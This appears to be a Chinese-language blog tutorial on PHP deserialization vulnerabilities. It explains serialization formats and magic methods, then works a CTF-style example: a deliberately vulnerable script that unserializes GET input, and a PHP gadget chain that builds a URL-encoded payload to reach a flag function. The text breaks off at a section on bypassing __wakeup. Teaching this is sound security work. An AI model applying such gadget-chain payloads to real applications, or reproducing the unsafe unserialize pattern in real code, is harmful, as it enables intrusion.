PHP反序列化漏洞

概念:

PHP序列化(函数为serialize)是一种将复杂数据结构(如对象和数组)转换成字符串的过程,以便于存储或传递数据,但仅保留对象里的成员变量,不保留函数方法。

举例:

1
2
3
4
5
$person = array(
'name' => '张三',
'age' => 30,
'is_employee' => true
);

使用 serialize() 函数序列化这个数组后长这样。

1
a:3:{s:4:"name";s:6:"张三";s:3:"age";i:30;s:10:"is_employee";b:1;}

PHP反序列化标识符含义:

1
2
3
4
5
6
7
8
9
10
11
12
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

反序列化(函数为unserilize)可以将序列化生成的字符串重新还原为对象中的成员属性。

原理:

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数是可控的,函数的参数可以是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改来使得一些魔术方法被调用进而实现最终的攻击。

以下是漏洞中可能遇到的魔法方法:

1
2
3
4
5
6
7
8
9
10
11
__construct():具有构造函数的类会在每次创建新对象时先调用此方法。

__destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

__toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。

此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

__sleep()方法在一个对象被序列化之前调用;

__wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

error_reporting(0);
show_source("index.php");

class w44m{
private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class w44m
{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m
{
public $w00m;
}
class w33m
{
public $w00m;
public $w22m="Getflag";
}
$a=new w22m();
$b=new w33m();
$c=new w44m();
$b->w00m=$c;
$a->w00m=$b;

$payload=serialize($a);
echo "?w00m=".urlencode($payload); //存在private和protected属性要url编码

?>

//输出为:
?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m
%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%
3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00ad
min%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00pas
swd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%
3Bs%3A7%3A%22Getflag%22%3B%7D%7D

绕过:

1.__wakeup()方法漏洞: